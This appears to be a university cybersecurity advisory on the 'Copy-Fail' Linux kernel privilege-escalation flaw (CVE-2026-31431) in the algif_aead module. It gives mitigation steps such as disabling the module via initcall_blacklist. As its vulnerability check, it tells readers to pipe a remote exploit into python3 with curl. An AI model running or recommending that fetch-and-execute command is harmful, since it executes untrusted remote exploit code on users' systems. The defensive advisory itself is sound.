“Copy-Fail” vulnerability in the Linux kernel (CVE-2026-31431)

1. Update the Linux kernel to the correct version as soon as it becomes available.
2. If updates are not available, apply a temporary mitigation by disabling the vulnerable module.
3. Reboot the system after applying the mitigation. 

The algif_aead module can either be compiled directly into the kernel or loaded dynamically via modprobe, depending on the Linux distribution in use.

• If the algif_aead module is loaded dynamically: disable it following the appropriate procedure for the specific distribution.
• If the algif_aead module is built into the kernel: prevent it from initializing at boot by setting the kernel parameter:
  initcall_blacklist=algif_aead_init

If the system is up to date or the mitigation has been correctly applied, the publicly available proof-of-concept should not allow privilege escalation.

By running:

curl https://copy.fail/exp | python3 && su && whoami

if no exceptions are generated and the returned username is “root”, then your system is vulnerable.

The Cybersecurity Service of the Politecnico has:

• Informed the IT contacts of the departments
• Provided technical guidance and support
• Assisted in implementing countermeasures on critical infrastructures

In any case, it is always recommended to avoid executing unverified code from the Internet.